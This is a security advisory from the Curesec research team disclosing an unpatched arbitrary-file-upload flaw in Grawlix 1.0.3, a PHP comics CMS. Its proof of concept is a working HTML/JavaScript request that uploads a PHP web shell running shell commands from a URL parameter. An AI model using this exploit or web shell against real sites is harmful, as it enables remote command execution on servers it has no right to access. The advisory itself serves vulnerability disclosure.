Security Advisory - Curesec Research Team
1. Introduction
Affected Product: Grawlix 1.0.3
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Website: http://www.getgrawlix.com/
Vulnerability Type: Code Execution
Remote Exploitable: Yes
Reported to vendor: 11/17/2015
Disclosed to public: 12/21/2015
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
CVSS
High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C
Description
Grawlix is a CMS for publishing comics, which is written in PHP.
When uploading an image icon for a link, neither the file type nor the file
extension are checked, leading to code execution.
It should be noted that admin credentials are required to upload an icon, and
that because of a bug when uploading icons, the upload only works if Grawlix is
installed in the root directory.
3. Proof of Concept
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/_admin/site.link-list.php", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------172718417319970434061213874184");
xhr.withCredentials = true;
var body = "-----------------------------172718417319970434061213874184\r\n" +
"Content-Disposition: form-data; name=\"input[title]\"\r\n" +
"\r\n" +
"Site name\r\n" +
"-----------------------------172718417319970434061213874184\r\n" +
"Content-Disposition: form-data; name=\"input[url]\"\r\n" +
"\r\n" +
"http://google.com\r\n" +
"-----------------------------172718417319970434061213874184\r\n" +
"Content-Disposition: form-data; name=\"icon_file\"; filename=\"test.php\"\r\n" +
"Content-Type: application/x-php\r\n" +
"\r\n" +
"\x3c?php \n" +
"passthru($_GET[\'x\']);\n" +
"\r\n" +
"-----------------------------172718417319970434061213874184\r\n" +
"Content-Disposition: form-data; name=\"submit\"\r\n" +
"\r\n" +
"save\r\n" +
"-----------------------------172718417319970434061213874184--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
4. Solution
This issue was not fixed by the vendor.
5. Report Timeline
11/17/2015 Informed Vendor about Issue (no reply)
12/10/2015 Reminded Vendor of Disclosure Date (no reply)
12/21/2015 Disclosed to public
Blog Reference:
https://blog.curesec.com/article/blog/Grawlix-103-Code-Execution-127.html
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